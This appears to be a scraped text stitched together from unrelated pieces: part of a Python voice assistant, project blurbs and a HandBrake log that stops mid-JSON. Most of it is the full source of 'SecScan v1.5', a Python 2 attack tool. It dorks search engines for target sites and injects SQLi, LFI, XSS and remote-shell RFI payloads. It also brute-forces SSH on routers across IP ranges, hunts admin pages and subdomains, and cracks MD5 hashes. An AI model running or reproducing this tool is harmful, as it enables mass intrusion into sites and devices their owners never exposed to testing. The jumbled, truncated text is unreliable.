answer' in query: speak('Yes sir, I will try my best to answer you.') elif 'me answer' in query or ('answer' in query and 'question' in query): speak('Yes sir, I will try my best to answer you.') elif 'map' in query: webbrowser.open('https://www.google.com/maps') time.sleep(10) elif 'can you' in query or 'could you' in query: speak('I will try my best if I can do that.') elif 'do you' in query: speak('I will try my best if I can do that.') elif 'truth' in query: speak('I always speak truth. I never lie.') elif 'true' in query: speak('I always speak truth. I never lie.') elif 'lying' in query: speak('I always speak truth. I never lie.') elif 'liar' in query: speak('I always speak truth. I never lie.') elif 'doubt' in query: speak('I will try my best if I can clear your doubt.') elif ' by' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif 'hii' in query: speak('hii sir') elif 'hey' in query: speak('hello sir') elif 'hai' in query: speak('hello sir') elif 'hay' in query: speak('hello sir') elif 'hi' in query: speak('hii Sir') elif 'hello' in query: speak('hello Sir!') elif 'kon' in query and 'aahe' in query: speak('Me eka robot aahee sir. Maazee naav akshu2020 aahee.') elif 'nonsense' in query: speak("I'm sorry sir") elif 'mad' in query: speak("I'm sorry sir") elif 'shut up' in query: speak("I'm sorry sir") elif 'nice' in query: speak('Thank you sir') elif 'good' in query or 'wonderful' in query or 'great' in query: speak('Thank you sir') elif 'excellent' in query: speak('Thank you sir') elif 'ok' in query: speak('Hmmmmmm') elif 'akshu 2020' in query: speak('yes sir') elif len(query) >= 200: speak('Your voice is pretty good!') elif ' ' in query: try: #query = query.replace("what is ","") results = wikipedia.summary(query, sentences=3) print(results) speak(results) except Exception as e: speak('I unable to answer your question.') elif 'a' in query or 'b' in query or 'c' in query or 'd' in query or 'e' in query or 'f' in query or 'g' in query or 'h' in query or 'i' in query or 'j' in query or 'k' in query or 'l' in query or 'm' in query or 'n' in query or 'o' in query or 'p' in query or 'q' in query or 'r' in query or 's' in query or 't' in query or 'u' in query or 'v' in query or 'w' in query or 'x' in query or 'y' in query or 'z' in query: try: results = wikipedia.summary(query, sentences = 2) print(results) speak(results) except Exception as e: speak('I unable to answer your question. ') else: speak('I unable to give answer of your question')

#!/usr/bin/env python import re import hashlib import Queue from random import choice import threading import time import urllib2 import sys import socket try: import paramiko PARAMIKO_IMPORTED = True except ImportError: PARAMIKO_IMPORTED = False USER_AGENT = ["Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3", "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)", "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)", "Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/535.38.6 (KHTML, like Gecko) Version/5.1 Safari/535.38.6", "Mozilla/5.0 (Macintosh; U; U; PPC Mac OS X 10_6_7 rv:6.0; en-US) AppleWebKit/532.23.3 (KHTML, like Gecko) Version/4.0.2 Safari/532.23.3" ] option = ' ' vuln = 0 invuln = 0 np = 0 found = [] class Router(threading.Thread): """Checks for routers running ssh with given User/Pass""" def __init__(self, queue, user, passw): if not PARAMIKO_IMPORTED: print 'You need paramiko.' print 'http://www.lag.net/paramiko/' sys.exit(1) threading.Thread.__init__(self) self.queue = queue self.user = user self.passw = passw def run(self): """Tries to connect to given Ip on port 22""" ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) while True: try: ip_add = self.queue.get(False) except Queue.Empty: break try: ssh.connect(ip_add, username = self.user, password = self.passw, timeout = 10) ssh.close() print "Working: %s:22 - %s:%s\n" % (ip_add, self.user, self.passw) write = open('Routers.txt', "a+") write.write('%s:22 %s:%s\n' % (ip_add, self.user, self.passw)) write.close() self.queue.task_done() except: print 'Not Working: %s:22 - %s:%s\n' % (ip_add, self.user, self.passw) self.queue.task_done() class Ip: """Handles the Ip range creation""" def __init__(self): self.ip_range = [] self.start_ip = raw_input('Start ip: ') self.end_ip = raw_input('End ip: ') self.user = raw_input('User: ') self.passw = raw_input('Password: ') self.iprange() def iprange(self): """Creates list of Ip's from Start_Ip to End_Ip""" queue = Queue.Queue() start = list(map(int, self.start_ip.split("."))) end = list(map(int, self.end_ip.split("."))) tmp = start self.ip_range.append(self.start_ip) while tmp != end: start[3] += 1 for i in (3, 2, 1): if tmp[i] == 256: tmp[i] = 0 tmp[i-1] += 1 self.ip_range.append(".".join(map(str, tmp))) for add in self.ip_range: queue.put(add) for i in range(10): thread = Router(queue, self.user, self.passw ) thread.setDaemon(True) thread.start() queue.join() class Crawl: """Searches for dorks and grabs results""" def __init__(self): if option == '4': self.shell = str(raw_input('Shell location: ')) self.dork = raw_input('Enter your dork: ') self.queue = Queue.Queue() self.pages = raw_input('How many pages(Max 20): ') self.qdork = urllib2.quote(self.dork) self.page = 1 self.crawler() def crawler(self): """Crawls Ask.com for sites and sends them to appropriate scan""" print '\nDorking...' for i in range(int(self.pages)): host = "http://uk.ask.com/web?q=%s&page=%s" % (str(self.qdork), self.page) req = urllib2.Request(host) req.add_header('User-Agent', choice(USER_AGENT)) response = urllib2.urlopen(req) source = response.read() start = 0 count = 1 end = len(source) numlinks = source.count('_t" href', start, end) while count < numlinks: start = source.find('_t" href', start, end) end = source.find(' onmousedown="return pk', start, end) link = source[start+10:end-1].replace("amp;","") self.queue.put(link) start = end end = len(source) count = count + 1 self.page += 1 if option == '1': for i in range(10): thread = ScanClass(self.queue) thread.setDaemon(True) thread.start() self.queue.join() elif option == '2': for i in range(10): thread = LScanClass(self.queue) thread.setDaemon(True) thread.start() self.queue.join() elif option == '3': for i in range(10): thread = XScanClass(self.queue) thread.setDaemon(True) thread.start() self.queue.join() elif option == '4': for i in range(10): thread = RScanClass(self.queue, self.shell) thread.setDaemon(True) thread.start() self.queue.join() class ScanClass(threading.Thread): """Scans for Sql errors and ouputs to file""" def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue self.schar = "'" self.file = 'sqli.txt' def run(self): """Scans Url for Sql errors""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np test = site + self.schar try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("error in your SQL syntax", data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('oracle.jdbc.', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('system.data.oledb', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('SQL command net properly ended', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('atoracle.jdbc.', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('java.sql.sqlexception', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('query failed:', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('postgresql.util.', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('mysql_fetch', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('Error:unknown', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('JET Database Engine', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('Microsoft OLE DB Provider for', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('mysql_numrows', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('mysql_num', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('Invalid Query', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('FetchRow', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('JET Database', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('OLE DB Provider for', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('Syntax error', data, re.I)): self.mssql(test) vuln += 1 else: print B+test + W+' <-- Not Vuln' invuln += 1 else: print R+site + W+' <-- No Parameters' np += 1 self.queue.task_done() def mysql(self, url): """Proccesses vuln sites into text file and outputs to screen""" read = open(self.file, "a+").read() if url in read: print G+'Dupe: ' + W+url else: print O+"MySql: " + url + W write = open(self.file, "a+") write.write('[SQLI]: ' + url + "\n") write.close() def mssql(self, url): """Proccesses vuln sites into text file and outputs to screen""" read = open(self.file).read() if url in read: print G+'Dupe: ' + url + W else: print O+"MsSql: " + url + W write = open (self.file, "a+") write.write('[SQLI]: ' + url + "\n") write.close() class LScanClass(threading.Thread): """Scans for Lfi errors and outputs to file""" def __init__(self, queue): threading.Thread.__init__(self) self.file = 'lfi.txt' self.queue = queue self.lchar = '../' def run(self): """Checks Url for File Inclusion errors""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: lsite = site.rsplit('=', 1)[0] if lsite[-1] != "=": lsite = lsite + "=" test = lsite + self.lchar global vuln global invuln global np try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("failed to open stream: No such file or directory", data, re.I)): self.lfi(test) vuln += 1 else: print B+test + W+' <-- Not Vuln' invuln += 1 else: print R+site + W+' <-- No Parameters' np += 1 self.queue.task_done() def lfi(self, url): """Proccesses vuln sites into text file and outputs to screen""" read = open(self.file, "a+").read() if url in read: print G+'Dupe: ' + url + W else: print O+"Lfi: " + url + W write = open(self.file, "a+") write.write('[LFI]: ' + url + "\n") write.close() class XScanClass(threading.Thread): """Scan for Xss errors and outputs to file""" def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue self.xchar = """<ScRIpT>alert('xssBYm0le');</ScRiPt>""" self.file = 'xss.txt' def run(self): """Checks Url for possible Xss""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np xsite = site.rsplit('=', 1)[0] if xsite[-1] != "=": xsite = xsite + "=" test = xsite + self.xchar try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("xssBYm0le", data, re.I)): self.xss(test) vuln += 1 else: print B+test + W+' <-- Not Vuln' invuln += 1 else: print R+site + W+' <-- No Parameters' np += 1 self.queue.task_done() def xss(self, url): """Proccesses vuln sites into text file and outputs to screen""" read = open(self.file, "a+").read() if url in read: print G+'Dupe: ' + url + W else: print O+"Xss: " + url + W write = open(self.file, "a+") write.write('[XSS]: ' + url + "\n") write.close() class RScanClass(threading.Thread): """Scans for Rfi errors and outputs to file""" def __init__(self, queue, shell): threading.Thread.__init__(self) self.queue = queue self.file = 'rfi.txt' self.shell = shell def run(self): """Checks Url for Remote File Inclusion vulnerability""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np rsite = site.rsplit('=', 1)[0] if rsite[-1] != "=": rsite = rsite + "=" link = rsite + self.shell + '?' try: conn = urllib2.Request(link) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall('uname -a', data, re.I)): self.rfi(link) vuln += 1 else: print B+link + W+' <-- Not Vuln' invuln += 1 else: print R+site + W+' <-- No Parameters' np += 1 self.queue.task_done() def rfi(self, url): """Proccesses vuln sites into text file and outputs to screen""" read = open(self.file, "a+").read() if url in read: print G+'Dupe: ' + url + W else: print O+"Rfi: " + url + W write = open(self.file, "a+") write.write('[Rfi]: ' + url + "\n") write.close() class Atest(threading.Thread): """Checks given site for Admin Pages/Dirs""" def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue def run(self): """Checks if Admin Page/Dir exists""" while True: try: site = self.queue.get(False) except Queue.Empty: break try: conn = urllib2.Request(site) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() opener.open(conn) print site found.append(site) self.queue.task_done() except urllib2.URLError: self.queue.task_done() def admin(): """Create queue and threads for admin page scans""" print 'Need to include http:// and ending /\n' site = raw_input('Site: ') queue = Queue.Queue() dirs = ['admin.php', 'admin/', 'en/admin/', 'administrator/', 'moderator/', 'webadmin/', 'adminarea/', 'bb-admin/', 'adminLogin/', 'admin_area/', 'panel-administracion/', 'instadmin/', 'memberadmin/', 'administratorlogin/', 'adm/', 'admin/account.php', 'admin/index.php', 'admin/login.php', 'admin/admin.php', 'admin/account.php', 'joomla/administrator', 'login.php', 'admin_area/admin.php' ,'admin_area/login.php' ,'siteadmin/login.php' ,'siteadmin/index.php', 'siteadmin/login.html', 'admin/account.html', 'admin/index.html', 'admin/login.html', 'admin/admin.html', 'admin_area/index.php', 'bb-admin/index.php', 'bb-admin/login.php', 'bb-admin/admin.php', 'admin/home.php', 'admin_area/login.html', 'admin_area/index.html', 'admin/controlpanel.php', 'admincp/index.asp', 'admincp/login.asp', 'admincp/index.html', 'admin/account.html', 'adminpanel.html', 'webadmin.html', 'webadmin/index.html', 'webadmin/admin.html', 'webadmin/login.html', 'admin/admin_login.html', 'admin_login.html', 'panel-administracion/login.html', 'admin/cp.php', 'cp.php', 'administrator/index.php', 'cms', 'administrator/login.php', 'nsw/admin/login.php', 'webadmin/login.php', 'admin/admin_login.php', 'admin_login.php', 'administrator/account.php' ,'administrator.php', 'admin_area/admin.html', 'pages/admin/admin-login.php' ,'admin/admin-login.php', 'admin-login.php', 'bb-admin/index.html', 'bb-admin/login.html', 'bb-admin/admin.html', 'admin/home.html', 'modelsearch/login.php', 'moderator.php', 'moderator/login.php', 'moderator/admin.php', 'account.php', 'pages/admin/admin-login.html', 'admin/admin-login.html', 'admin-login.html', 'controlpanel.php', 'admincontrol.php', 'admin/adminLogin.html' ,'adminLogin.html', 'admin/adminLogin.html', 'home.html', 'rcjakar/admin/login.php', 'adminarea/index.html', 'adminarea/admin.html', 'webadmin.php', 'webadmin/index.php', 'webadmin/admin.php', 'admin/controlpanel.html', 'admin.html', 'admin/cp.html', 'cp.html', 'adminpanel.php', 'moderator.html', 'administrator/index.html', 'administrator/login.html', 'user.html', 'administrator/account.html', 'administrator.html', 'login.html', 'modelsearch/login.html', 'moderator/login.html', 'adminarea/login.html', 'panel-administracion/index.html', 'panel-administracion/admin.html', 'modelsearch/index.html', 'modelsearch/admin.html', 'admincontrol/login.html', 'adm/index.html', 'adm.html', 'moderator/admin.html', 'user.php', 'account.html', 'controlpanel.html', 'admincontrol.html', 'panel-administracion/login.php', 'wp-login.php', 'wp-admin', 'typo3', 'adminLogin.php', 'admin/adminLogin.php', 'home.php','adminarea/index.php' ,'adminarea/admin.php' ,'adminarea/login.php', 'panel-administracion/index.php', 'panel-administracion/admin.php', 'modelsearch/index.php', 'modelsearch/admin.php', 'admincontrol/login.php', 'adm/admloginuser.php', 'admloginuser.php', 'admin2.php', 'admin2/login.php', 'admin2/index.php', 'adm/index.php', 'adm.php', 'affiliate.php','admin/admin.asp','admin/login.asp','admin/index.asp','admin/admin.aspx','admin/login.aspx','admin/index.aspx','admin/webmaster.asp','admin/webmaster.aspx','asp/admin/index.asp','asp/admin/index.aspx','asp/admin/admin.asp','asp/admin/admin.aspx','asp/admin/webmaster.asp','asp/admin/webmaster.aspx','admin/','login.asp','login.aspx','admin.asp','admin.aspx','webmaster.aspx','webmaster.asp','login/index.asp','login/index.aspx','login/login.asp','login/login.aspx','login/admin.asp','login/admin.aspx','administracion/index.asp','administracion/index.aspx','administracion/login.asp','administracion/login.aspx','administracion/webmaster.asp','administracion/webmaster.aspx','administracion/admin.asp','administracion/admin.aspx','php/admin/','admin/admin.php','admin/index.php','admin/login.php','admin/system.php','admin/ingresar.php','admin/administrador.php','admin/default.php','administracion/','administracion/index.php','administracion/login.php','administracion/ingresar.php','administracion/admin.php','administration/','administration/index.php','administration/login.php','administrator/index.php','administrator/login.php','administrator/system.php','system/','system/login.php','admin.php','login.php','administrador.php','administration.php','administrator.php','admin1.html','admin1.php','admin2.php','admin2.html','yonetim.php','yonetim.html','yonetici.php','yonetici.html','adm/','admin/account.php','admin/account.html','admin/index.html','admin/login.html','admin/home.php','admin/controlpanel.html','admin/controlpanel.php','admin.html','admin/cp.php','admin/cp.html','cp.php','cp.html','administrator/','administrator/index.html','administrator/login.html','administrator/account.html','administrator/account.php','administrator.html','login.html','modelsearch/login.php','moderator.php','moderator.html','moderator/login.php','moderator/login.html','moderator/admin.php','moderator/admin.html','moderator/','account.php','account.html','controlpanel/','controlpanel.php','controlpanel.html','admincontrol.php','admincontrol.html','adminpanel.php','adminpanel.html','admin1.asp','admin2.asp','yonetim.asp','yonetici.asp','admin/account.asp','admin/home.asp','admin/controlpanel.asp','admin/cp.asp','cp.asp','administrator/index.asp','administrator/login.asp','administrator/account.asp','administrator.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','moderator/admin.asp','account.asp','controlpanel.asp','admincontrol.asp','adminpanel.asp','fileadmin/','fileadmin.php','fileadmin.asp','fileadmin.html','administration.html','sysadmin.php','sysadmin.html','phpmyadmin/','myadmin/','sysadmin.asp','sysadmin/','ur-admin.asp','ur-admin.php','ur-admin.html','ur-admin/','Server.php','Server.html','Server.asp','Server/','wp-admin/','administr8.php','administr8.html','administr8/','administr8.asp','webadmin/','webadmin.php','webadmin.asp','webadmin.html','administratie/','admins/','admins.php','admins.asp','admins.html','administrivia/','Database_Administration/','WebAdmin/','useradmin/','sysadmins/','admin1/','system-administration/','administrators/','pgadmin/','directadmin/','staradmin/','ServerAdministrator/','SysAdmin/','administer/','LiveUser_Admin/','sys-admin/','typo3/','panel/','cpanel/','cPanel/','cpanel_file/','platz_login/','rcLogin/','blogindex/','formslogin/','autologin/','support_login/','meta_login/','manuallogin/','simpleLogin/','loginflat/','utility_login/','showlogin/','memlogin/','members/','login-redirect/','sub-login/','wp-login/','login1/','dir-login/','login_db/','xlogin/','smblogin/','customer_login/','UserLogin/','login-us/','acct_login/','admin_area/','bigadmin/','project-admins/','phppgadmin/','pureadmin/','sql-admin/','radmind/','openvpnadmin/','wizmysqladmin/','vadmind/','ezsqliteadmin/','hpwebjetadmin/','newsadmin/','adminpro/','Lotus_Domino_Admin/','bbadmin/','vmailadmin/','Indy_admin/','ccp14admin/','irc-macadmin/','banneradmin/','sshadmin/','phpldapadmin/','macadmin/','administratoraccounts/','admin4_account/','admin4_colon/','radmind-1/','Super-Admin/','AdminTools/','cmsadmin/','SysAdmin2/','globes_admin/','cadmins/','phpSQLiteAdmin/','navSiteAdmin/','server_admin_small/','logo_sysadmin/','server/','database_administration/','power_user/','system_administration/','ss_vms_admin_sm/'] for add in dirs: test = site + add queue.put(test) for i in range(20): thread = Atest(queue) thread.setDaemon(True) thread.start() queue.join() def aprint(): """Print results of admin page scans""" print 'Search Finished\n' if len(found) == 0: print 'No pages found' else: for site in found: print O+'Found: ' + G+site + W class SDtest(threading.Thread): """Checks given Domain for Sub Domains""" def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue def run(self): """Checks if Sub Domain responds""" while True: try: domain = self.queue.get(False) except Queue.Empty: break try: site = 'http://' + domain conn = urllib2.Request(site) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() opener.open(conn) except urllib2.URLError: self.queue.task_done() else: target = socket.gethostbyname(domain) print 'Found: ' + site + ' - ' + target self.queue.task_done() def subd(): """Create queue and threads for sub domain scans""" queue = Queue.Queue() site = raw_input('Domain: ') sub = ["admin", "access", "accounting", "accounts", "admin", "administrator", "aix", "ap", "archivos", "aula", "aulas", "ayuda", "backup", "backups", "bart", "bd", "beta", "biblioteca", "billing", "blackboard", "blog", "blogs", "bsd", "cart", "catalog", "catalogo", "catalogue", "chat", "chimera", "citrix", "classroom", "clientes", "clients", "carro", "connect", "controller", "correoweb", "cpanel", "csg", "customers", "db", "dbs", "demo", "demon", "demostration", "descargas", "developers", "development", "diana", "directory", "dmz", "domain", "domaincontroller", "download", "downloads", "ds", "eaccess", "ejemplo", "ejemplos", "email", "enrutador", "example", "examples", "exchange", "eventos", "events", "extranet", "files", "finance", "firewall", "foro", "foros", "forum", "forums", "ftp", "ftpd", "fw", "galeria", "gallery", "gateway", "gilford", "groups", "groupwise", "guia", "guide", "gw", "help", "helpdesk", "hera", "heracles", "hercules", "home", "homer", "hotspot", "hypernova", "images", "imap", "imap3", "imap3d", "imapd", "imaps", "imgs", "imogen", "inmuebles", "internal", "intranet", "ipsec", "irc", "ircd", "jabber", "laboratorio", "lab", "laboratories", "labs", "library", "linux", "lisa", "login", "logs", "mail", "mailgate", "manager", "marketing", "members", "mercury", "meta", "meta01", "meta02", "meta03", "miembros", "minerva", "mob", "mobile", "moodle", "movil", "mssql", "mx", "mx0", "mx1", "mx2", "mx3", "mysql", "nelson", "neon", "netmail", "news", "novell", "ns", "ns0", "ns1", "ns2", "ns3", "online", "oracle", "owa", "partners", "pcanywhere", "pegasus", "pendrell", "personal", "photo", "photos", "pop", "pop3", "portal", "postman", "postmaster", "private", "proxy", "prueba", "pruebas", "public", "ras", "remote", "reports", "research", "restricted", "robinhood", "router", "rtr", "sales", "sample", "samples", "sandbox", "search", "secure", "seguro", "server", "services", "servicios", "servidor", "shop", "shopping", "smtp", "socios", "soporte", "squirrel", "squirrelmail", "ssh", "staff", "sms", "solaris", "sql", "stats", "sun", "support", "test", "tftp", "tienda", "unix", "upload", "uploads", "ventas", "virtual", "vista", "vnc", "vpn", "vpn1", "vpn2", "vpn3", "wap", "web1", "web2", "web3", "webct", "webadmin", "webmail", "webmaster", "win", "windows", "www", "ww0", "ww1", "ww2", "ww3", "www0", "www1", "www2", "www3", "xanthus", "zeus"] for check in sub: test = check + '.' + site queue.put(test) for i in range(20): thread = SDtest(queue) thread.setDaemon(True) thread.start() queue.join() class Cracker(threading.Thread): """Use a wordlist to try and brute the hash""" def __init__(self, queue, hashm): threading.Thread.__init__(self) self.queue = queue self.hashm = hashm def run(self): """Hash word and check against hash""" while True: try: word = self.queue.get(False) except Queue.Empty: break tmp = hashlib.md5(word).hexdigest() if tmp == self.hashm: self.result(word) self.queue.task_done() def result(self, words): """Print result if found""" print self.hashm + ' = ' + words def word(): """Create queue and threads for hash crack""" queue = Queue.Queue() wordlist = raw_input('Wordlist: ') hashm = raw_input('Enter Md5 hash: ') read = open(wordlist) for words in read: words = words.replace("\n","") queue.put(words) read.close() for i in range(5): thread = Cracker(queue, hashm) thread.setDaemon(True) thread.start() queue.join() class OnlineCrack: """Use online service to check for hash""" def crack(self): """Connect and check hash""" hashm = raw_input('Enter MD5 Hash: ') conn = urllib2.Request('http://md5.hashcracking.com/search.php?md5=%s' % (hashm)) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() opener.open(conn) data = opener.open(conn).read() if data == 'No results returned.': print '\n- Not found or not valid -' else: print '\n- %s -' % (data) class Check: """Check your current IP address""" def grab(self): """Connect to site and grab IP""" site = 'http://www.tracemyip.org/' try: conn = urllib2.Request(site) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() opener.open(conn) data = opener.open(conn).read() start = 0 end = len(data) start = data.find('onClick="', start, end) end = data.find('size=', start, end) ip_add = data[start+46:end-2].strip() print '\nYour current Ip address is %s' % (ip_add) except urllib2.HTTPError: print 'Error connecting' def output(): """Outputs dork scan results to screen""" print '\n>> ' + str(vuln) + G+' Vulnerable Sites Found' + W print '>> ' + str(invuln) + G+' Sites Not Vulnerable' + W print '>> ' + str(np) + R+' Sites Without Parameters' + W if option == '1': print '>> Output Saved To sqli.txt\n' elif option == '2': print '>> Output Saved To lfi.txt' elif option == '3': print '>> Output Saved To xss.txt' elif option == '4': print '>> Output Saved To rfi.txt' W = "\033[0m"; R = "\033[31m"; G = "\033[32m"; O = "\033[33m"; B = "\033[34m"; def main(): """Outputs Menu and gets input""" quotes = [ '\nm0le@tormail.org\n' ] print (O+''' ------------- -- SecScan -- --- v1.5 ---- ---- by ----- --- m0le ---- -------------''') print (G+''' -[1]- SQLi -[2]- LFI -[3]- XSS -[4]- RFI -[5]- Proxy -[6]- Admin Page Finder -[7]- Sub Domain Scan -[8]- Dictionary MD5 cracker -[9]- Online MD5 cracker -[10]- Check your IP address''') print (B+''' -[!]- If freeze while running or want to quit, just Ctrl C, it will automatically terminate the job. ''') print W global option option = raw_input('Enter Option: ') if option: if option == '1': Crawl() output() print choice(quotes) elif option == '2': Crawl() output() print choice(quotes) elif option == '3': Crawl() output() print choice(quotes) elif option == '4': Crawl() output() print choice(quotes) elif option == '5': Ip() print choice(quotes) elif option == '6': admin() aprint() print choice(quotes) elif option == '7': subd() print choice(quotes) elif option == '8': word() print choice(quotes) elif option == '9': OnlineCrack().crack() print choice(quotes) elif option == '10': Check().grab() print choice(quotes) else: print R+'\nInvalid Choice\n' + W time.sleep(0.9) main() else: print R+'\nYou Must Enter An Option (Check if your typo is corrected.)\n' + W time.sleep(0.9) main() if __name__ == '__main__': main()

A simple module to allow asynchronous task processing via the Gearman job server. Tasks can either be fired as events and forgotten, or a reference can be returned for further checking.

Simple solution to support quartz scheduling with multiple servers. This is just a lock in order to make only one server to work as scheduler. As soon as that server goes down another would get the lock. To distribute the jobs it's recommended for the scheduled tasks to trigger distributed tasks.

SQL Agent depLoy Tasks - Takes SQL Server Agent Jobs stored in XML and deploys them to a SQL Server Instance.

It is a 3 tier distributed web application simulating linkedin. It is built solely using MERN Stack. It is a single point of access for both applicants and recruiters. Recruiters can post their jobs and the applicants can apply to these jobs.The overall project involved the set of tasks as mentioned below: - Creation of React.js pages for users. - Managing state of application frontend using Redux. - Creating client-side REST API calls. - Using Kafka to break down the features into individual blocks that can be accessed individually making the application more scalable. - Managing REST API calls from clients using NodeJS at the server side. - Redis Caching for improving the response time of application. - Database sharding and replication to make application scalable and reliable. - Maintaining user sessions. - Managing and storing data to MongoDB, through REST APIs. Technology stack: Kafka, Node.js, React.js, Redux, MongoDB, MySQL, AWS Docker, Bootstrap.

The application mainly consists of a map view, once opened it gets user GPS or Network location and requests for nearby venues from Foursquare APIs. Application should cache the retrieved venues so that on next application start up, cached venues are displayed until fresh new venues are retrieved from server. It then places pins of each venue on the map, pin images should be venues images retrieved from Foursquare. Clicking on any pin should open an info window with the name of the venue, when clicking on the info window allow user to check-in in this venue. For user to check-in, this user should be logged in using OAuth implementation of Foursquare login. • I am using Job queue manager library to easily schedule jobs (tasks) that run in the background, improving UX and application stability. You can find it here (https://github.com/path/android-priority-jobqueue) • I am using EventBus that simplifies communication between Activities, Fragments, Threads, Services, etc you can find it here (https://github.com/greenrobot/EventBus) • I am using Retrofit that turns your REST API into a Java interface. It depend on Okhttp and Gson library You can find it here (https://github.com/square/retrofit) or (http://square.github.io/retrofit/ ) • I am using foursquare-android-oauth You can find it here (https://github.com/foursquare/foursquare-android-oauth) • I am using google play services

A comprehensive Node.js Model Context Protocol (MCP) server for JasperReports Server REST API v2. This server enables AI assistants and developers to perform all major JasperReports operations including authentication, resource management, report execution, job scheduling, and administrative tasks through standardized MCP tools.

Distributed cron tasks using Gearman job server

Package that allows you to execute commands, actions, jobs, and automated tasks on your production server.

A prototype system that allows a central server to assign machine learning training jobs (like image classification tasks) to remote client machines over sockets.

Waste management is one of the primary problem that the world faces irrespective of the case of developed or developing country. The key issue in the waste management is that the garbage bin at public places gets overflowed well in advance before the commencement of the next cleaning process. Sometime the garbage collector truck not sufficient for collecting all the garbage. These in turn leads to various hazards such as bad odor & ugliness to that place which may be the root cause for spread of various diseases. Another issue is in the waste management is having more trucks and human resources than needed. To avoid all such hazardous scenario and maintain public cleanliness and health this work is mounted on a smart garbage system. We are living in an age where tasks and systems are fusing together with the power of IOT to have a more efficient system of working and to execute jobs quickly! With all the power at our finger tips this is what we have come up with. The traditional way of manually monitoring the wastes in waste bins is a cumbersome process and utilizes more human effort, time and cost which can easily be avoided with our present technologies. The main theme of the work is to develop a smart intelligent garbage alert system for a proper garbage management. What our system does is it gives a real time indicator of the garbage level in a trashcan at any given time using weight and volume (solar) sensors. Using that data and as the bins are containing GSM module we can give an alert signal to the municipal web server then optimize waste collection efficient routes, sufficient number of trucks and labors. It allows trash collectors to plan their daily/weekly pick up schedule.

The objective of the project is to create an XBlock which will perform all the tasks which a system administrator frequently performs in the lifecycle of the Open edX server and make the job of system administrator easy.

HandBrake 1.5.1 (2022011000) OS: Microsoft Windows NT 10.0.19044.0 CPU: Intel(R) Core(TM) i7-6700 CPU @ 3.40GHz Ram: 16342 MB, GPU Information: NVIDIA GeForce GTX 1060 6GB - 30.0.15.1123 Screen: 1920x1080 Temp Dir: C:\Users\Andre\AppData\Local\Temp\ Install Dir: C:\Users\Andre\Desktop\Encode Anime Eater\HandBrake\ Data Dir: C:\Users\Andre\AppData\Roaming\HandBrake ------------------------------------------- # Starting Encode ... [17:03:35] base preset: Very Fast 1080p30 [17:03:36] Remote Process started with Process ID: 15644 using port: 8037. Max Allowed Instances: 1 [17:03:36] Worker: Starting HandBrake Engine ... [17:03:36] Worker: Starting Web Server on port 8037 ... [17:03:36] Worker: Disconnected worker monitoring enabled! [17:03:36] Compile-time hardening features are enabled [17:03:37] hb_init: starting libhb thread [17:03:37] Starting work at: Mon Jan 31 17:03:37 2022 [17:03:37] 1 job(s) to process [17:03:37] json job: { "Audio": { "AudioList": [ { "Bitrate": 160, "DRC": 0, "Encoder": "av_aac", "Gain": 0, "Mixdown": 4, "NormalizeMixLevel": false, "Samplerate": 0, "Track": 0, "DitherMethod": 0 } ], "CopyMask": [ "copy:aac", "copy:ac3", "copy:dtshd", "copy:dts", "copy:eac3", "copy:flac", "copy:mp3", "copy:truehd", "copy:mp2" ], "FallbackEncoder": "ac3" }, "Destination": { "ChapterList": [ { "Name": "Chapter 1" } ], "ChapterMarkers": true, "AlignAVStart": true, "File": 